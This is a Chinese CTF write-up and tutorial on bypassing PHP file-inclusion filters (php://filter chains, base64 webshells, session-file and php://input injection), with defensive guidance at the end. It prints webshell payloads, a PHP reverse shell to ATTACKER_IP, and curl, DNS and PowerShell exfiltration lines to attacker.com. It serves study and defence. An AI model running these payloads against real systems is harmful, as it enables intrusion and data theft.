1. 赛题背景与核心思路拆解
“金盾信安杯”这类网络安全竞赛,其Web赛题的设计往往不是简单的“找漏洞”,而是对选手综合能力的极限考验。它模拟了真实攻防对抗中,攻击者如何在层层设防、规则严苛的环境下,利用有限的、甚至是“畸形”的输入点,达成最终目标(通常是获取服务器上的敏感文件或执行命令)。2024年的赛题延续了这一传统,其核心思路可以概括为“在重重过滤与限制下,寻找逻辑与协议的缝隙”。题目不会直接告诉你“这里有个文件包含漏洞”,而是通过代码审计、协议理解、服务器配置特性甚至是一些非预期的解析差异,引导你一步步构建出完整的攻击链。
我拿到题目后的第一反应不是直接去试Payload,而是先做“环境侧写”。题目通常运行在一个经过高度定制和加固的Web服务器上,可能是Apache/Nginx配合特定版本的PHP,并加载了自定义的安全模块或设置了严格的php.ini。这意味着,一些在普通环境下通杀的技巧(比如简单的../../etc/passwd路径遍历)很可能在第一关就被WAF(Web应用防火墙)或者服务端代码的过滤函数拦截。因此,解题的核心思路必须从“有什么漏洞”转变为“在现有规则下,我能让服务器以何种非预期的方式理解我的输入”。这涉及到对PHP内核机制、协议封装器、编码转换、服务器解析顺序等底层知识的深刻理解。
例如,题目中频繁出现的php://filter伪协议,其价值远不止于读取文件。在限制上传文件后缀、禁用危险函数、关闭错误回显的“绝望”环境下,它可能成为我们与服务器文件系统“对话”的唯一窗口。而Base64编码,也不仅仅是隐藏明文那么简单。在特定场景下,它能够作为“编码过滤器”,改变数据流的内容,从而绕过对文件开头特定魔数(Magic Number)的检查,或者将非PHP代码“转换”成服务器可解析执行的PHP代码。这种将编码、协议、文件流操作融会贯通的思维,正是解这类高难度赛题的关键。
2. 核心绕过技巧:php://filter的创造性应用
2.1 基础原理与常见误区
php://filter是PHP提供的一个元封装器,用于在数据流打开时应用过滤器。最广为人知的用法是php://filter/convert.base64-encode/resource=index.php,用于读取PHP文件源码(因为直接包含会被执行)。但很多新手会止步于此,认为它只是个“读源码”的工具。这是一个巨大的误区。
它的核心价值在于“链式过滤”和“资源转换”。你可以将多个过滤器像管道一样连接起来,对数据进行多重处理。例如,你可以先压缩(zlib.deflate),再Base64编码,最后再反转字符串(string.rot13)。更重要的是,php://filter的resource不仅可以指向文件,还可以指向php://input(POST数据流)或者其他数据源。这就为我们构造特殊Payload提供了无限可能。
一个常见的赛题限制是:禁止包含以.php结尾的文件,或者对包含的文件内容进行<?php标签检查。此时,单纯的php://filter/read=convert.base64-encode/resource=shell.php是无效的。我们需要利用过滤器改变数据流的本质。
2.2 利用Base64解码进行代码注入
这是本届赛题中的一个关键技巧,也是很多选手的突破口。假设有一个文件包含漏洞点,但服务端代码会检查被包含文件的内容,如果发现<?php、eval(、system(等危险字符串,就会拒绝执行。我们的目标是上传一个内容为恶意PHP代码的文件(比如一句话木马),并让它被成功包含执行。
直接上传一个.txt文件,里面写<?php @eval($_POST[‘cmd’]);?>,然后在包含时指定这个txt文件,通常会被内容检查拦截。这时,php://filter的妙用就来了。我们可以这样做:
- 将我们的PHP代码进行Base64编码。例如,
<?php @eval($_POST[‘cmd’]);?>编码后是PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=。 - 构造一个Filter链:
php://filter/read=convert.base64-decode/resource=恶意文件.txt。 - 当我们通过文件包含函数(如
include、require)去包含这个URI时,PHP会执行以下操作:- 打开
恶意文件.txt。 - 读取其原始内容(即Base64编码后的字符串
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=)。 - 应用
convert.base64-decode过滤器,将这段Base64字符串解码。 - 解码后的结果(原始的
<?php @eval($_POST[‘cmd’]);?>)被传递给include函数。 include函数接收到的是已经解码的、纯净的PHP代码,并开始执行它。
- 打开
关键在于,内容检查发生在过滤器生效之前还是之后?在很多实现中,检查是针对“最终被包含的内容”进行的。但在我们的流程中,服务器端的内容检查模块,很可能是在PHP的include函数内部,对即将被解释执行的代码流进行检查。而php://filter的过滤器是在数据流被送入include函数之前生效的。也就是说,检查模块看到的是恶意文件.txt的原始内容(一堆Base64字符),里面没有<?php,检查通过。然后数据流被送入PHP引擎,经过过滤器解码,还原出PHP代码并执行。我们成功绕过了基于内容字符串匹配的检查。
注意:这种技巧成功的前提是,文件包含函数确实支持
php://filter协议,并且服务器没有禁用convert.base64-decode这个过滤器。在实战或CTF中,这需要探测。
2.3 组合过滤器绕过文件头检查
另一种进阶场景是绕过文件类型检查。例如,一个上传功能要求上传“图片”,不仅检查后缀名(.jpg,.png),还会用getimagesize()或检查文件头(Magic Number)来验证是否为真实图片。我们的目标是将一个PHP Webshell上传上去。
传统方法是制作图片马,在图片末尾附加PHP代码。但有些检查非常严格,会验证文件结构的完整性,附加代码可能导致图片损坏无法通过验证。此时,可以结合php://filter和文件包含来实现无损绕过。
- 准备一个真实的、有效的图片文件,例如
pure.jpg。 - 准备我们的PHP Webshell代码,例如
<?php system($_GET[‘c’]);?>。 - 构造一个复杂的Filter链,将图片文件作为“资源”,但先通过过滤器将其内容Base64编码,然后与我们PHP代码的Base64编码拼接,再整体解码。但更巧妙的做法是利用
php://filter的write功能(如果环境允许)或直接构思一个包含链:- 我们最终要包含的Payload是:
php://filter/convert.base64-decode/resource=phpshell.jpg。 - 我们上传的文件
phpshell.jpg,其内容并不是图片二进制数据,而是经过Base64编码后的“图片二进制数据 + PHP代码”的混合体。 - 具体操作:将纯图片
pure.jpg用二进制方式打开,进行Base64编码,得到字符串A。将PHP代码<?php system($_GET[‘c’]);?>进行Base64编码,得到字符串B。将A和B简单拼接(A+B),作为phpshell.jpg的文件内容。 - 当服务器检查
phpshell.jpg时,因为它本身是一段Base64文本,getimagesize()会失败。但是,如果服务器检查逻辑有瑕疵,比如先允许上传,在后续某个点(如包含时)才做严格检查,我们的机会就来了。 - 在文件包含点,我们使用
php://filter/convert.base64-decode/resource=phpshell.jpg。过滤器会将文件内容解码。解码后,前半部分还原出原始的、完整的图片二进制流,后半部分还原出PHP代码。当这个混合数据流被include时,PHP引擎会从开头开始解析。图片二进制数据对于PHP来说是无效的令牌,会被直接忽略(可能产生几个警告),直到解析器遇到<?php标签,然后开始执行后面的代码。
- 我们最终要包含的Payload是:
这种方法比直接附加更隐蔽,因为它维持了原始图片数据的完整性,解码后前半部分是一个货真价实的图片文件。在某些解析环境下,甚至可以骗过一些动态的二次检查。
3. 实战应用:从漏洞点到权限获取的完整链条
3.1 赛题场景还原与审计要点
我们假设一个典型的赛题场景:一个简单的文件上传/查看应用。提供两个功能:1. 上传文件(仅允许.txt后缀);2. 查看文件(通过file参数指定文件名,直接读取文件内容并显示)。源码可能如下:
// upload.php $allowed_ext = array('txt'); $filename = $_FILES['file']['name']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if (!in_array($ext, $allowed_ext)) { die('只允许上传txt文件!'); } move_uploaded_file($_FILES['file']['tmp_name'], './uploads/' . $filename); echo '上传成功!'; // view.php $file = $_GET['file']; if (isset($file)) { // 模拟一个简单的过滤,试图阻止目录遍历 $file = str_replace('../', '', $file); include('./uploads/' . $file); } else { highlight_file(__FILE__); }审计立刻可以发现view.php存在本地文件包含(LFI)漏洞。虽然有一个蹩脚的str_replace('../', '', $file)过滤,但这种过滤很容易被双写绕过(....//-> 替换后 ->../)。但赛题的难点通常不止于此。我们假设环境做了以下加固:
open_basedir被设置,限制PHP只能访问特定目录。allow_url_include为Off,禁止远程文件包含。- 上传目录
uploads/不可执行PHP(即.htaccess或Nginx配置限制了该目录下PHP文件的解析)。 - 服务器可能安装了WAF,会检测包含请求中的敏感路径(如
/etc/passwd)和协议(如php://)。
我们的目标是读取/flag文件(CTF常见目标)。
3.2 利用链条构建与Payload构造
第一步是绕过str_replace过滤。使用双写绕过:file=....//....//....//etc/passwd。经过一次替换后,中间的../被移除,相邻的....//就变成了../,成功构造出路径遍历。如果成功,证明LFI存在,且可以读取系统文件。
但读取/flag可能被WAF拦截。这时可以尝试使用编码或协议。直接php://filter/read=convert.base64-encode/resource=/flag可能会被WAF识别php://关键字。我们可以尝试利用包含来触发过滤器,而不是直接访问。例如,先上传一个内容为php://filter/read=convert.base64-encode/resource=/flag的txt文件,命名为payload.txt。然后通过LFI包含它:view.php?file=payload.txt。但这样include会试图将那个字符串作为PHP代码执行,会失败。
正确的思路是利用PHP的封装器协议是可以在包含路径中使用的。我们需要让file参数最终解析为完整的php://filter路径。由于uploads/目录被前置,我们需要利用路径遍历跳出该目录。Payload为:view.php?file=php://filter/read=convert.base64-encode/resource=/flag。但这里有个问题,代码中拼接了./uploads/,所以最终路径是./uploads/php://filter/...,这是一个无效的路径。
这里就需要利用PHP的一个特性:当include的路径中包含协议时,它会优先将其视为一个流(Stream)路径,而不是文件系统路径。但前提是协议部分必须是完整的、且位于路径的开头部分。由于我们的路径以./uploads/开头,PHP不会将其识别为php://流。因此,我们必须完全跳出uploads/目录。使用多个../回到根目录,再直接使用绝对路径的协议:view.php?file=....//....//php://filter/read=convert.base64-encode/resource=/flag。经过过滤和拼接后,路径可能变为./uploads/../../php://filter/...,这仍然不是一个有效的文件路径,但PHP的流包装器在解析时,可能会忽略前面的./uploads/../../,因为它不是一个有效的文件路径,而php://协议处理器会被调用。这种行为依赖于PHP版本和配置,是赛题常见的考点。
如果上述方法不行,另一个更稳定的方法是利用/proc/self目录。在Linux系统中,/proc/self是一个指向当前进程(即PHP-FPM或Apache worker进程)的符号链接。我们可以通过它来访问进程的环境信息,甚至文件描述符。一个经典的技巧是包含/proc/self/environ来获取环境变量,有时里面会有路径信息。或者,如果我们能控制上传文件,并知道其临时文件名(通常位于/tmp/phpXXXXXX),我们可以通过包含/proc/self/fd/XX(XX是文件描述符编号)来访问它,即使它已经被删除。但这需要精确的时序竞争,难度较高。
更常见的突破口是利用PHP的Session文件。如果网站使用了Session,并且我们可以控制部分Session数据(比如通过一个用户可控的输入点,如昵称、邮箱,将其存入$_SESSION),那么我们就可以在Session文件中注入PHP代码。然后通过LFI包含Session文件(通常位于/tmp/sess_[PHPSESSID]或/var/lib/php/sessions/sess_[PHPSESSID])来执行代码。这就将LFI升级为了远程代码执行(RCE)。
3.3 权限提升与最终Flag获取
假设我们通过Session文件包含成功执行了命令,例如system(‘id’);,返回了www-data用户。我们的目标是读取/flag,但可能/flag的权限是-r-------- root root,只有root可读。
在CTF环境中,常见的提权方式不是真正的系统提权,而是寻找具有SUID权限的、可由www-data用户执行的程序,或者利用内核漏洞。但在Web赛题中,更常见的是利用Web应用本身的权限。/flag可能就是一个普通文件,www-data可读。或者,flag可能不在根目录,而在Web目录的某个深层次子目录,或者数据库里。
此时,我们需要进行信息收集。利用已获得的RCE执行命令:
find / -name “*flag*” 2>/dev/null:在全盘查找包含flag关键字的文件。ls -la /:查看根目录。ls -la /home:查看用户目录。env:查看环境变量,有时会有提示。cat /etc/passwd:查看用户列表。ps aux:查看进程,也许有某个服务进程在读取flag。
如果/flag确实不可读,可能需要利用其他漏洞。例如,题目可能设置了一个/readflag的SUID二进制程序,执行它就能输出flag。我们需要分析这个程序(如果允许下载),或者直接执行它:/readflag。
在实战中,获取RCE后,下一步通常是建立稳定的反向Shell,方便后续操作。可以使用Python、PHP、Netcat等工具。例如,在目标服务器上执行:php -r ‘$sock=fsockopen(“ATTACKER_IP”, PORT);exec(“/bin/sh -i <&3 >&3 2>&3”);’,同时在攻击机监听对应端口。
4. 高级技巧:协议封装与编码的奇技淫巧
4.1 data:// 协议的受限使用与替代方案
data://协议允许在URI中直接嵌入数据,格式如data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+。它是将LFI转化为RCE的利器。但在近年来的CTF和真实环境中,allow_url_include选项默认关闭,且经常被管理员禁用,使得data://协议无法直接用于包含执行代码。
然而,这并不意味着它完全无用。在某些特定场景下,它可以与其他漏洞结合。例如,如果存在一个文件写入点(哪怕只能写入特定内容),我们可以将data://协议URI写入文件,然后诱导应用以某种方式“读取”或“包含”这个文件。或者,在一些XML解析、反序列化等场景中,data://可以作为外部实体注入(XXE)的一部分被利用。
当data://被禁用时,php://input是一个强大的替代品。它允许你读取POST请求的原始主体数据。利用方式如下:
- 发送一个POST请求到存在LFI漏洞的端点。
- 将
file参数设置为php://input。 - 在POST Body中直接写入要执行的PHP代码,例如
<?php system(‘ls’);?>。 - 服务器端的
include函数会包含php://input流,也就是我们POST的代码,从而执行它。
这种方法同样受allow_url_include影响吗?实际上,php://input是PHP的输入流封装器,并非“远程URL”,所以其可用性通常不受allow_url_include限制,而取决于服务器配置是否允许访问这个流。它在禁用远程包含但需要接收POST数据的场景下非常有效。
4.2 利用压缩过滤器进行数据泄露
php://filter除了convert.*过滤器,还有zlib.*(压缩)和bzip2.*过滤器。这些过滤器可以用于数据压缩和解压。一个有趣的利用点是信息泄露。
在某些极端的过滤下,所有输出都被转义或过滤,甚至错误信息被关闭。我们如何获取敏感信息?可以考虑使用压缩过滤器。
假设我们可以控制文件包含的部分路径,但输出不直接显示。我们可以尝试包含一个非常大的文件(比如/dev/random,它是一个无限数据流),并应用zlib.deflate过滤器。由于压缩数据是二进制,直接输出到浏览器可能会乱码或导致连接中断。但我们可以将其与convert.base64-encode过滤器链式使用,将压缩后的二进制数据转换为可打印的Base64字符串。
然而,更精妙的利用是侧信道攻击。虽然我们无法直接看到输出,但我们可以观察响应时间或响应大小。如果包含一个存在的文件和不存在的文件,经过压缩后,其输出大小(即使我们看不到内容)可能不同,或者PHP处理耗时不同。通过这种差异,我们可以盲测文件是否存在。但这需要非常精细的测量和稳定的网络环境,在CTF中不常见,更偏向于真实安全研究。
4.3 字符串处理过滤器与逻辑混淆
php://filter的string.*过滤器家族常常被忽视,但它们在某些绕过场景下潜力巨大。例如:
string.rot13:对数据进行ROT13编码。可以用于绕过简单的关键字过滤。例如,PHP代码<?cuc @riny($_CBFG[‘pq’]);?>经过ROT13后,就变成了<?php @eval($_POST[‘cd’]);?>。如果WAF只检查解码/执行前的原始内容,可能会被绕过。string.toupper/string.tolower:改变大小写。可以用于绕过大小写敏感的检查。string.strip_tags:去除PHP和HTML标签。这个过滤器非常危险,因为它会破坏我们的Payload。但反过来想,如果我们能控制过滤器链的顺序,也许可以利用它来去除某些我们不想让检查器看到的标记,然后再通过其他方式恢复代码。
这些过滤器的组合可以构造出极其复杂的Payload,用于对抗基于模式匹配的WAF规则。例如,一个Payload可以先ROT13,再Base64编码,再反转字符串。WAF规则很难覆盖所有可能的变形组合。但相应的,构造和调试这样的Payload也极具挑战性。
5. 防御视角:从攻击手法看安全开发要点
5.1 文件包含漏洞的根除方案
从防御者角度看,所有上述绕过技巧都源于一个根本漏洞:用户输入被未经充分净化就直接用于文件系统操作。最彻底的解决方案是白名单机制。
- 绝对禁止动态包含路径:如果业务逻辑必须包含文件,应使用固定的映射关系。例如,使用一个数组将安全的键名映射到具体的文件路径:
$allowedPages = [‘home’ => ‘./templates/home.php’, ‘about’ => ‘./templates/about.php’];。然后通过$page = $_GET[‘page’]; if (array_key_exists($page, $allowedPages)) { include($allowedPages[$page]); }。 - 如果需要动态性,必须严格过滤:如果白名单不现实,必须对输入进行最强限制。首先,去除所有目录遍历字符:
$file = str_replace(array(‘../’, ‘..\\’, ‘./’, ‘.\\’), ‘’, $file);。更好的做法是使用basename()函数只获取文件名部分,但这会丢失子目录信息。对于需要子目录的情况,可以先将输入限制在字母数字和下划线,然后拼接上固定的基础目录:$baseDir = ‘./content/’; $file = $baseDir . preg_replace(‘/[^a-zA-Z0-9_\/-]/’, ‘’, $file) . ‘.php’;。注意,这里允许了/,但前提是基础目录$baseDir是一个安全的、不允许用户跳出的目录。 - 关闭危险特性:在
php.ini中,务必设置allow_url_fopen = Off和allow_url_include = Off。这能从根本上阻断通过http://、ftp://、data://等协议进行的远程文件包含和代码注入。 - 配置open_basedir:虽然
open_basedir可以被某些方式绕过,但它仍然是重要的安全边界,可以限制脚本访问文件系统的范围,增加攻击难度。
5.2 针对协议封装器攻击的防护策略
协议封装器的攻击本质上是利用了PHP丰富的流处理功能。防护需要多层面进行:
- 输入验证与过滤:在代码层面对传入的参数进行严格的协议头检查。例如,如果参数预期是普通文件名,可以检查是否以
php://、data://、phar://、zip://等危险协议开头。使用正则表达式或parse_url()函数进行检测和拦截。 - Web服务器层防护:在Nginx或Apache配置中,可以设置规则,拦截请求参数中包含特定协议字符串的请求。例如,在Nginx的
location块中:if ($query_string ~* “(php://|data://|phar://)”) { return 403; }。但要注意避免误杀。 - 禁用特定过滤器:在PHP编译时或运行时,可以通过修改
php.ini来禁用某些危险的过滤器。例如,disable_functions指令可以禁用include、require等函数,但这会严重影响功能。更精细的控制可以通过php.ini的filter.default和filter.default_flags来实现,或者直接修改PHP源码,但成本较高。更实际的做法是,在应用代码中,如果使用了stream_filter_append等函数,要确保过滤器的来源可信。 - 最小权限原则:运行PHP-FPM或Apache进程的用户(如www-data)应该具有尽可能低的文件系统权限。不要赋予其Web目录以外的读写权限。这样即使攻击者通过LFI包含了系统文件,也无法进行写操作或读取关键敏感信息(如
/etc/shadow)。
5.3 安全编码习惯与自动化检查
再好的防护配置也抵不过糟糕的代码。培养安全编码习惯至关重要:
- 使用安全的文件操作函数:尽量使用
file_get_contents()读取静态文件而非include。如果必须动态包含,使用realpath()函数解析输入的绝对路径,并检查解析后的路径是否在以Web根目录为起点的子目录内。 - 错误处理:关闭生产环境的错误显示(
display_errors = Off),使用自定义的错误处理函数,避免将路径、数据库结构等敏感信息泄露给攻击者。 - 代码审计与自动化扫描:将安全审计纳入开发流程。使用静态代码分析工具(如SonarQube、PHPStan的某些安全插件)来检测潜在的LFI漏洞。在CI/CD流水线中加入安全扫描环节。
- 依赖库管理:及时更新框架和第三方库,避免使用含有已知漏洞的旧版本。使用Composer等工具管理依赖,并定期运行
composer audit检查安全公告。
6. 常见问题排查与实战调试技巧
6.1 Payload构造失败的原因分析
在实战或CTF中,精心构造的Payload经常失败。以下是一个系统的排查清单:
| 现象 | 可能原因 | 排查步骤 |
|---|---|---|
包含php://filter直接返回空或错误 | 协议被禁用或WAF拦截 | 1. 尝试包含一个已知存在的普通文件(如../../index.php),确认LFI存在。2. 尝试使用 php://input(POST方式)测试协议是否可用。3. 尝试使用 file://协议读取本地文件,测试基本协议支持。4. 查看响应头或错误日志(如果开启),看是否有WAF拦截提示。 |
| Base64解码过滤器无效,返回原内容或乱码 | 过滤器被禁用或数据格式问题 | 1. 确认PHP版本支持该过滤器。 2. 检查Base64字符串是否标准(长度是4的倍数,字符集正确)。 3. 尝试一个简单的测试: php://filter/read=convert.base64-encode/resource=index.php,看是否能正常编码。如果能编码但不能解码,可能是convert.base64-decode被限制。4. 注意 read=和write=参数的使用场景,在include中通常用read=。 |
| 包含Session文件成功但代码不执行 | Session文件路径错误或内容被转义 | 1. 通过phpinfo()或猜测确定Session保存路径(session.save_path)。2. 确认Session ID(PHPSESSID)是否正确,能否通过包含 sess_xxx文件读取到我们注入的数据。3. 检查注入的Session数据是否被 htmlspecialchars或addslashes等函数转义,导致<?php标签被破坏。尝试注入纯文本先测试。 |
使用php://input执行命令无回显 | 配置限制或代码执行方式问题 | 1. 确认请求方法是POST,并且file参数的值是php://input。2. 确认POST Body中就是纯PHP代码,不要有多余的URL参数格式。 3. 尝试使用 phpinfo();作为测试代码,看最基本的函数能否执行。4. 考虑是否 system()、exec()等函数被禁用。尝试使用echo “test”;或var_dump(scandir(‘.’));。5. 检查是否启用了 disable_functions。 |
| 路径遍历过滤无法绕过 | 过滤逻辑严密 | 1. 分析过滤代码是只过滤一次还是循环过滤。str_replace(‘../’, ‘’, $file)只过滤一次,双写可绕过。如果是while(strpos($file, ‘../’) !== false) { $file = str_replace(‘../’, ‘’, $file); }则双写无效。2. 尝试使用绝对路径 /etc/passwd(如果PHP进程有权限)。3. 尝试使用URL编码 ..%2F或双重URL编码..%252F。4. 尝试使用非标准路径分隔符,如 ..\(Windows)或在Linux下可能被误解析的字符。 |
6.2 信息收集与环境探测命令
在获得初步执行能力后,系统化的信息收集是成功的关键。以下命令清单应熟记于心:
系统与权限信息:
id:查看当前用户和所属组。whoami:查看当前用户名。uname -a:查看内核版本和系统架构。cat /etc/passwd:查看系统用户列表。cat /etc/group:查看用户组信息。sudo -l:查看当前用户可以以root身份无需密码运行哪些命令(如果允许)。
文件系统与目标查找:
pwd:查看当前工作目录。ls -la:列出当前目录所有文件(包括隐藏文件)及详细信息。find / -type f -name “*flag*” 2>/dev/null:全盘查找文件名包含“flag”的文件,忽略错误信息。find / -type f -perm -4000 2>/dev/null:查找SUID权限的文件,可能是提权入口。find / -writable -type d 2>/dev/null:查找当前用户可写的目录。cat /etc/hosts:查看主机文件。env:查看环境变量,可能包含数据库密码、密钥等。
网络与进程信息:
ifconfig或ip a:查看网络接口信息。netstat -tulpn或ss -tulpn:查看网络连接、监听端口和对应进程。ps aux:查看所有运行进程。lsof -i:查看打开的网络连接和文件。
Web应用相关:
cat /etc/apache2/sites-available/000-default.conf或cat /etc/nginx/sites-enabled/default:查看Web服务器配置。cat /var/www/html/index.php:查看Web主文件(路径可能不同)。cat /etc/php/7.4/fpm/php.ini:查看PHP配置文件(版本路径可能不同),查找disable_functions,open_basedir等设置。
6.3 无回显命令执行下的外带数据
在无法直接看到命令输出(盲注)的情况下,我们需要将数据外带(Out-of-Band, OOB)出来。
- DNS外带:利用命令执行触发DNS查询,将数据放在域名中。例如:
ping -c 1 $(whoami).attacker.com。攻击者监听DNS服务器,看到查询的域名是root.attacker.com,就知道当前用户是root。适用于Linux/Windows。 - HTTP请求外带:利用
curl或wget将数据作为URL参数或请求头发送到攻击者控制的服务器。- Linux:
curl http://attacker.com/$(cat /flag | base64 | tr -d ‘\n’) - Windows:
powershell -c “Invoke-WebRequest -Uri ‘http://attacker.com/’ -Method POST -Body (Get-Content C:\flag)”
- Linux:
- 时间延迟盲注:通过命令执行的时间差来判断。例如:
if [ $(grep -c ‘^root:’ /etc/passwd) -eq 1 ]; then sleep 5; fi。如果命令执行了5秒,说明/etc/passwd文件第一行以root:开头。这需要编写自动化脚本进行枚举。 - 写入文件再读取:如果Web目录可写,可以将命令输出写入一个文件,然后通过Web访问该文件。例如:
ls / > /var/www/html/output.txt,然后访问http://target.com/output.txt。
在实际的CTF比赛中,题目设计往往会逐步引导你使用这些技巧。从简单的LFI到复杂的过滤器绕过,再到无回显的OOB数据外带,每一步都在考验你对PHP特性、操作系统和网络协议的深入理解。真正的安全能力,就体现在这种将零散知识点串联成有效攻击链的思维过程中。